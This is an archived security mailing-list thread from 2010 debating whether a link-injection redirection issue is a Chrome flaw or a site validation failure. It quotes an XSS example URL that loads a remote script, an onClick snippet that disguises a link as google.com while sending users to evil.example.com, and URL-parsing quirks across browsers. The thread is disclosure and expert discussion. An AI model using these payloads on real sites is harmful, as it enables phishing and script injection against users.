Re: [WEB SECURITY] Re: Link Injection Redirection Attacks - Exploiting Google Chrome Design Flaw
Hi Berend-Jan Please find the respective responses > Repro steps: > 1) Some website do not sanitize user input correctly, such as the one > in your example, which allows things like XSS: > http://www.worksafenb.ca/redirect.asp?V=";'%20src=http://skypher.com/SkyLined/xss.js> http://www.worksafenb.ca/redirect.asp?V=*/"
Re: Link Injection Redirection Attacks - Exploiting Google Chrome Design Flaw
On Tue, Jan 05, 2010 at 10:49:07AM -0800, Michal Zalewski wrote: > > Video: http://www.secniche.org/videos/google_chrome_link_inj.html > > You might find it informative to review the section of BSH on URL parsing: > http://code.google.com/p/browsersec/wiki/Part1#Uniform_Resource_Locators Also, a considerable part of Aditya's concern seems to be the disconnect between what the user sees in the Status Bar and the actual link target. It's easy to conceal the link's URL on a page in which the attacker can embed Javascript (e.g., on an attacker's Web site, but not in a well-designed webmail system) with code like the following: http://google.com/"; onClick="this.href='http://evil.example.com/';">Google 99% of users would see google.com in the status bar, and even "visited" link CSS treatment suggesting the link pointed to a page they've already seen, making the link appear more trustworthy. This simple technique seems to circumvent any browser settings regarding changing or hiding the status bar text. (Forgive my not digging up a reference for this approach -- surely someone else has written about this technique already.) -Peter http://www.tux.org/~peterw/
Re: Link Injection Redirection Attacks - Exploiting Google Chrome Design Flaw
Aditya, > Video: http://www.secniche.org/videos/google_chrome_link_inj.html You might find it informative to review the section of BSH on URL parsing: http://code.google.com/p/browsersec/wiki/Part1#Uniform_Resource_Locators There are many known quirks related to URL parsing; the practice of certain browsers to tokenize the authority section using the rightmost @ sign, in particular, is documented there. Three other spectacular examples include: http://example.com;.coredump.cx/ - MSIE will take you somewhere else than most other browsers would http://example.c...@coredump.cx/ - means one thing to most browsers, something else to Firefox https:example.com - absolute to Firefox (while http:example.com is a relative link in that same browser) In essence, any site that accepts, but does not normalize and rewrite relative / not well formed URLs, and hopes to achieve any degree of control over the destination of that link, is bound to fail. The particular example in your video seems to be a clear case of insufficient validation, and not a browser bug. It is also unfortunate that URL parsing is deceptively difficult for humans, but that's the way it is; address bar host name highlighting and auto-hiding of credentials is the only sensible approach I can think of; crippling URL syntax, on the other hand, seems heavy-handed. /mz
Link Injection Redirection Attacks - Exploiting Google Chrome Design Flaw
Hi Recently with an outcome of Owasp RC1 top 10 exploited vulnerability list , redirection issues have already made a mark in that. Even the WASC has included the URL abusing as one of the stringent attacks. Well to be ethical in this regard these are not the recent attacks but are persisting from long time. The only difference is the exploitation ratio has increased from bottom to top. So that's the prime reason it has been included in the web application security benchmarks. But the projection of redirection attacks is active now. This post is not about explaining the basics of redirection issues. It is more about the design vulnerabilities in browsers that can lead to potential persistent redirection vulnerabilities. Web application security can be hampered due to browser problems. Note: The base is to project the implications of browser inefficiency and the ease in conducting web application attacks. Post: http://zeroknock.blogspot.com/2010/01/link-injection-redirection-attacks.html Video: http://www.secniche.org/videos/google_chrome_link_inj.html Browsers need to take care of these issues. Regards Aditya K Sood http://www.secniche.org
